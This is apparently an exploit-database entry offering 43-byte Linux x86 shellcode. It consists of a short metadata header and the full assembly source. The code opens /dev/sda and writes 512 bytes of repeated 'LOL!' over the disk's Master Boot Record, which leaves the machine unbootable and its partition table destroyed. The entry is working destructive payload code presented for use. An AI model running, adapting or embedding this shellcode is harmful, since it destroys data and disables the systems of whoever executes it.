Linux/x86 - Overwrite MBR On /dev/sda With _LOL!' Shellcode (43 bytes)

Author: root@thegibson
type: 
platform: linux_x86
port: 43.0
date_added: 2010-01-14 
date_updated: 2018-01-09 
verified: 1 
codes:  
tags: 
aliases:  
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; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes
; root@thegibson
; 2010-01-15

section .text
        global _start

_start:
        ; open("/dev/sda", O_WRONLY);
        mov al, 5
        xor ecx, ecx
        push ecx
        push dword 0x6164732f
        push dword 0x7665642f
        mov ebx, esp
        inc ecx
        int 0x80

        ; write(fd, "LOL!"x128, 512);
        mov ebx, eax
        mov al, 4
        cdq
        push edx
        mov cl, 128
        fill:
                push dword 0x214c4f4c
        loop fill
        mov ecx, esp
        inc edx
        shl edx, 9
        int 0x80